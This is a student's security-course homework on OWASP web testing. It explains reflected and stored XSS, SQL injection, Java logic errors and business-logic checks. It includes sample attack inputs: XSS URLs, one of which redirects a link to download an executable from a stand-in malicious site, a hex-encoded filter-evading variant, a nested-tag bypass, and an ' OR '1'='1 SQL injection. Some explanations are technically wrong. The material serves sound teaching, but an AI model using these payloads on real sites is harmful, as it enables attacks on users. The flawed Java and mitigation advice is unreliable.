**Homework 4**

**Input Validation and Business Logic Security Controls Assignment**

**Student**: Patrick Walsh

**School**: University of Maryland Global Campus

Date: 10/7/2021

**Course**: SDEV 460 6380

**Professor**: Dr. Chris Howard

1. **Testing for Reflected Cross site scripting (OTG-INPVAL-001)**

In your own words, describe Reflected Cross Site scripting. Then, List and describe 4 different examples that could be used for testing. Be sure to conduct additional research for each example to provide your own unique test example.

The Open Web Application Security Project (OWASP) Testing Guide v4 describes Reflected Cross Site Scripting (XSS) as an attack which “injects browser executable code within a single HTTP response” (OWASP, n.d.-a). Reflected is the most common form of XSS attack and derives its name from the fact that it executes the attack as an immediate, one time response to a user action, such as the user clicking on a malicious link. The attack takes advantage of improper character encoding in an HTTP request and attempts to conduct malicious activities against the user clicking on the link. Such malicious activities include installing key loggers, stealing user cookies and clipboard contents, and modifying web pages (OWASP, n.d.-a).

**Example 1**

One example of a Reflected XSS attack could look like the following link. The example link would bring the user who clicks on it to a website with input for a username. This could occur if a user was logging into a website, for example. Within the URL, the user= parameter is expecting a username, but instead it contains a malicious script that will be executed when the user clicks on it.

[http://example1.com/index.php?user=<script>malicious\_code()</script](http://example1.com/index.php?user=%3cscript%3emalicious_code()%3c/script)>

**Example 2**

This example is similar to the first example in that is takes an input for user, which under normal circumstances would look like a username. However, this link contains <script> tags which end up downloading malicious-file.exe when the user clicks on the link.

http://example2.com/index.php?user=<script>window.onload = function() {var AllLinks=document.getElementsByTagName("a"); AllLinks[0].href = "http://malicious-website.com/malicious-file.exe"; }</script>

**Example 3**

This example is the exactly like example 2 except that the malicious <script> portion after user= has been disguised by converting the text to hex. This is a common way of disguising a XSS attack since example 2 looks obvious to security aware users that the link may not be safe. The hex characters may also bypass XSS filters within the browser that are looking for malicious links.

[http://example3.com/index.php?user=3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%41%6c%6c%4c%69%6e%6b%73%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%20%41%6c%6c%4c%69%6e%6b%73%5b%30%5d%2e%68%72%65%66%20%3d%20%22%68%74%74%70%3a%2f%2f%6d%61%6c%69%63%69%6f%75%73%2d%77%65%62%73%69%74%65%2e%63%6f%6d%2f%6d%61%6c%69%63%69%6f%75%73%2d%66%69%6c%65%2e%65%78%65%22%3b%20%7d%3c%2f%73%63%72%69%70%74%3e%](http://example3.com/index.php?user=3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%41%6c%6c%4c%69%6e%6b%73%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%20%41%6c%6c%4c%69%6e%6b%73%5b%30%5d%2e%68%72%65%66%20%3d%20%22%68%74%74%70%3a%2f%2f%6d%61%6c%69%63%69%6f%75%73%2d%77%65%62%73%69%74%65%2e%63%6f%6d%2f%6d%61%6c%69%63%69%6f%75%73%2d%66%69%6c%65%2e%65%78%65%22%3b%20%7d%3c%2f%73%63%72%69%70%74%3e%25)

**Example 4**

The final example of a Reflected XSS attack is when a malicious script is hidden within multiple tags to bypass website XSS filters. The link below contains an extra bogus tag around the script tag. This can be effective if the XSS filter only applies sanitization of links once rather than recursively. In this scenario, the <scr portion of the tag is removed, only to reveal the true <script> tag underneath.

[http://example4.com/index.php?user=<scr<script>ipt>malicious\_code()</script](http://example4.com/index.php?user=%3cscr%3cscript%3eipt%3emalicious_code()%3c/script)>

1. **Testing for Stored Cross site scripting (OTG-INPVAL-002)**

In your own words, describe Stored Cross Site scripting. Then, List and describe 2 different examples that could be used for testing. Be sure to conduct additional research for each example to provide your own unique test example.

While Reflected XSS attacks are more common, Stored XSS attacks are potentially much more dangerous. Unlike a Reflected XSS attack which executes a one-time attack, Stored XSS attacks store malicious input in a database or other repository for continuous exploitation (OWASP, n.d.-b). This allows the attacker to store malicious data as part of a website, giving privileged access when a user launches the web browser. Once access is gained, the attacker can hijack the user’s browser, intercept sensitive data during a browsing session, conduct port scanning, and other malicious activities (OWASP, n.d.-b).

**Example 1**

Since Stored XSS attacks rely on storing input from the user, security experts should examine all possible fields where data is input and stored. Such fields include username and password text fields, file upload fields, and activity logs (OWASP, n.d.-b). The input stored will typically be found in HTML tags or JavaScript code. An example of Stored XSS may show up in a database as malicious code. In the following HTML snippet, there is an input box that stores a user’s email.

<input class=”inputbox” type=”text” name=”user\_email” size=”25” value=”user@website.com”>

If an attacker were to input malicious code and the code is stored in a database, an email may show up like this:

[user@website.com<script>malicious\_code()</script](mailto:user@website.com%3cscript%3emalicious_code()%3c/script)>

Now the malicious code is executed when the entry is retrieved.

**Example 2**

Another example of Stored XSS is when browsers allow an HTML or .txt file to be uploaded. XSS attacks can be included in the payload in such cases and can lead to malicious code being stored and executed. For example, the following HTTP POST request, a file is uploaded to a website. The malicious-file.txt contains a XSS payload which launches a malicious executable when a user clicks on the link and initiates the POST request.

POST /file-upload.aspx HTTP/1.1  
Content-Disposition: form-data; name=”file-upload-action”;   
filename=”C:\users\testUser\Desktop\malicious-file.txt”  
Content-Type: text/plain

1. **Testing for SQL Injection (OTG-INPVAL-005)**

SELECT \* FROM Students WHERE EMPLID='$EMPLID' AND EMAIL='$email'   
  
Would a form or application that includes this code be susceptible to SQL Injection? Why? What specific tests would you perform to determine if the applications were vulnerable? How would you fix this problem? Be specific by providing the exact code in a Language of your choice.

Yes, the query above would potentially be susceptible to SQL injection. It would depend on how the user input is being handled by the application. For example, whether the input is being sanitized. To test whether the above statement could be exploited, a penetration tester could provide the following input for EMPLID and EMAIL:

EMPLID = ‘ OR ‘1’=’1

EMAIL = ‘ OR ‘1’=’1

This would result in the following query:

SELECT \* FROM Students WHERE EMPLID= ‘’ OR ‘1’=’1’ AND EMAIL= ‘’ OR ‘1’=’1’

This result always returns true, since ‘1’ will always equal ‘1’. This means that the query, as it current is constructed, will return ALL records from the Students table if an attacker were to launch this SQL injection attack against the website. This could be disastrous. One way to mitigate this threat is to include a limitation on the content being retrieved by the query. For example, adding LIMIT 1 to the end of the query will limit the results of the query to 1 record. So, if an SQL injection is successfully executed, the attack will only return 1 record rather than all records.

However, the real answer is to prevent SQL injection from taking place at all. In this Java example, the application sanitizes user input to prevent malicious SQL injection from being inserted into the query. This is accomplished using Prepared Statements in Java.

String query = “SELECT \* FROM Students WHERE EMPLID= ? AND EMAIL= ?”;

PreparedStatement prepStmt = conn.prepStmt(query);

prepStmt.setInt(1, emplid);

prepStmt.setString(2, email);

ResultSet rs = prepStmt.executeQuery();

1. **Test business logic data validation (OTG-BUSLOGIC-001)**

While reviewing some Java code, an analysis provided the following code snippets that contain   
logic errors. For each example, describe the issue and provide code that would fix the logical error:

1. int x;

x = x + 1;

System.out.println("X = " + x);

**Problem**: the variable x is initialized but not given a value. The application will return an error because 1 cannot be added to a null value. Also, the proper way in Java of adding 1 to a number is to name the variable followed by ++, for example x++;.

**Fix**:

int x = 1;

x++;

System.out.println("X = " + x);

1. for (i=1; i<=5; i++) ; {   
   System.out.println("Number is " + i);   
   }

**Problem**: The for loop attempts to assign a value to the variable without initializing the variable with its type. The statement should read int i=1 rather than i=1. Also, there is a semicolon after the parentheses before the opening bracket. This semicolon should be removed.

**Fix**:

for (int i=1; i<=5; i++) {

System.out.println("Number is " + i);

}

1. if ( z > d) ; {   
   System.out.println("Z is bigger");   
   }

**Problem**: Neither z nor d are initialized or given values, so the if statement on its own will return an error. These variables must be initialized and set to some value. Also, there is a semicolon after the parentheses before the opening bracket. This semicolon should be removed.

**Fix**:

int z = 10;

int d = 5;

if ( z > d) {

System.out.println("Z is bigger");

}

1. String m1="one"; String m2="two"; if(m1 == m2) { System.out.println(“M1 is equal to M2”); }

**Problem**: There is nothing strictly wrong about the code as it stands, however, if the two variables are not equal, the print statement inside the if statement will not be executed. So, a user may not be aware of the application’s behavior. It may be useful to include an else{} clause within the if statement to check for variables that are different.

**Fix**:

String m1="one";

String m2="two";

if (m1 == m2) {

System.out.println("M1 is equal to M2");

} else {

System.out.println("M1 is NOT equal to M2");

}

1. The formula for the area of a trapezoid is: A = (b1+b2)/2 \* h. The following Java code is the implementation. Fix the logical error:

double area;

double base1 = 2.3;

double base2 = 4.8;

double height = 12.5;

area = base1 + base2/2.0 \* height;

**Problem**: Based on the given inputs, the resulting area should be 44.375. However, the problem lies in how the area is calculated in this application because it does not follow proper order of operations due to lack of proper parentheses. If done correctly, the values of base1 and base2 should be added first, then their sum is divided by 2, then that value is multiplied by the height. As it stands, multiplication and division are taking place before addition, following the standardized order of operations.

**Fix**:

// Test 1, expected output = 44.375

double area;

double base1 = 2.3;

double base2 = 4.8;

double height = 12.5;

area = (base1 + base2) / 2.0 \* height;

System.out.println(area);

// Test 2, expected output = 320.544

double area;

double base1 = 2.1;

double base2 = 6.54;

double height = 74.2;

area = (base1 + base2) / 2.0 \* height;

System.out.println(area);

Demonstrate your fixed code work as anticipated with a couple different test cases.

1. **Test integrity checks (OTG-BUSLOGIC-003)**

In your own words describe and provide 2 unique examples of integrity checks. For your examples, provide specific testing methods for each case.

Integrity checks follow rules of business logic that expect an application or system to behave differently based on the user or context of a given situation. For example, certain fields or options that are visible to an admin user may be hidden for regular users. For testing purposes, it may be possible to access certain fields or options using a proxy, and such cases can be used to test whether business rules logic is being followed (OWASP, n.d.-d).

**Example 1**

Imagine an employee work tracker web application where employees enter their hours for payroll. In this web application, the employees have a drop-down menu to select which project they worked on, and text fields to enter the hours worked and to add comments. However, employees with admin privileges also had access to a drop-down menu to approve the employee hours. This drop-down menu should not be visible to accessible to non-admin users.

To test this business logic, a security expert may review user roles and privileges and ensure that they align with the desired business logic. In this case, non-admin users should not have access to the drop-down menu to approve hours. Not only should this be verified in the web application, but it should also be verified that this drop-down menu option is protected by role access so that only admin users may access this field.

**Example 2**

Another example of a web application following business logic a website that only allows new users to login after being verified. For example, when a new user creates a profile, before the user can login and start using the website, the user must verify their profile. This could be handled in different ways such as two-factor authentication (2FA) through an SMS message or picture of their driver’s license. The user should not be able to access the login page until their profile has been verified.

To test this business logic, a security expert may attempt to send the login credentials of a new, unverified user via a proxy to the web application server. In addition to the login page not being visible to an unverified user, the application should be written such that the application will check the user’s verification status before allowing the user to login. The verification status could be an entry logged to the server database that is updated only through a proper verification process.

1. **Test defenses against Circumvention of Workflows (OTG-BUSLOGIC-006)**

In your own words describe and provide 2 unique examples of circumvention of workflow. For your examples, provide specific testing methods for each case.

Many applications follow logic based on a workflow. The OWASP Testing Guide v4 describes (n.d.-b) a workflow as “a sequence of connected steps where each step follows without delay or gap and ends just before the subsequent step may begin” (p. 184). Attackers may exploit vulnerabilities in the application by trying to circumvent the established workflow.

**Example 1**

An example of a workflow logic would be an online shopping web application that gives discounted or free shipping if a user makes a purchase over a certain dollar amount. When the user adds items to their cart, the shipping should automatically be calculated, and if the total purchase price in the cart exceeds a certain amount, the shipping cost should either be discounted or eliminated. Before purchasing, however, if a user removes items from the cart, the shipping cost should automatically be recalculated. This prevents a user from adding items to the cart to get free shipping, then removing the items before purchasing.

To ensure that the application is following proper workflow logic, the scenario described above should be tested. To do this, a security expert can add several items to the cart so that the total purchase price allows the user to enjoy free shipping. Before purchasing, however, the security expert should remove some items to ensure that the discount is revoked if the total purchase price drops below the limit.

**Example 2**

Taking the same scenario of an online shopping website, another workflow can be how items are purchased after being added to the cart. The workflow may follow a logic that once items are added to the cart, the user must then enter their contact information and shipping address. Once that information has been added, they must then add credit card or other payment information. Once that information has been entered, the user may then submit the order. Each step must be completed before being allowed to proceed to the next step, and the steps must follow the same order of Add Items to Cart > Add Shipping Info > Add Payment Info > Submit Order.

To ensure that the web application is following the expected workflow, a security expert should attempt to circumvent the workflow. This could be done by attempting to skip a step, for example, attempting to add the payment information before contact and shipping information has been added. Or by attempting to follow the steps in the wrong order, like adding shipping or payment information before items have been added to the cart.

**References**

OWASP. (n.d.-a). *Testing for Reflected Cross Site Scripting (OTG-INPVAL-001) | Owasp Testing Guide v4*. Kennel209.Gitbooks.Io. https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/testing\_for\_reflected\_cross\_site\_scripting\_otg-inpval-001.html

OWASP. (n.d.-b). *OWASP Testing Guide v4*. Owasp.Org. https://owasp.org/www-project-web-security-testing-guide/assets/archive/OWASP\_Testing\_Guide\_v4.pdf

OWASP. (n.d.-c). *Testing for SQL Injection (OTG-INPVAL-005) | Owasp Testing Guide v4*. Kennel209.Gitbooks.Io. https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/testing\_for\_sql\_injection\_otg-inpval-005.html

OWASP. (n.d.-d). *Test Integrity Checks (OTG-BUSLOGIC-003) | Owasp Testing Guide v4*. Kennel209.Gitbooks.Io. https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web\_application\_security\_testing/test\_integrity\_checks\_otg-buslogic-003.html